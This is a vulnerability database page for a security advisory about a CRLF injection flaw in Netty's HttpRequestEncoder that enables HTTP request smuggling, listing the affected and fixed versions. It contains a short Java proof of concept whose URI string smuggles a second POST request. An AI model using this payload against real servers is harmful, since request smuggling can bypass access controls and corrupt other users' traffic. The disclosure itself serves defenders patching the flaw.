GHSA-84h7-rjj3-6jx4

    Dashboard / Vulnerabilities / GHSA-84h7-rjj3-6jx4

    GHSA-84h7-rjj3-6jx4

    Published: 15 Dec 2025Last Modified: 10 Sept 2026

    Summary: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

    Details: ### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.

    Affected packages

    Package

    Name: io.netty:netty-codec-http

    Purl: pkg:maven/io.netty/netty-codec-http

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 4.2.0.Alpha1
    Fixed -4.2.8.Final

    Affected versions

    4.2.0.Alpha1
    4.2.0.Alpha2
    4.2.0.Alpha3
    4.2.0.Alpha4
    4.2.0.Alpha5
    4.2.0.Beta1
    4.2.0.Final
    4.2.0.RC1
    4.2.0.RC2
    4.2.0.RC3
    4.2.0.RC4
    4.2.1.Final
    4.2.2.Final
    4.2.3.Final
    4.2.4.Final
    4.2.5.Final
    4.2.6.Final
    4.2.7.Final

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-84h7-rjj3-6jx4 | CVE-DB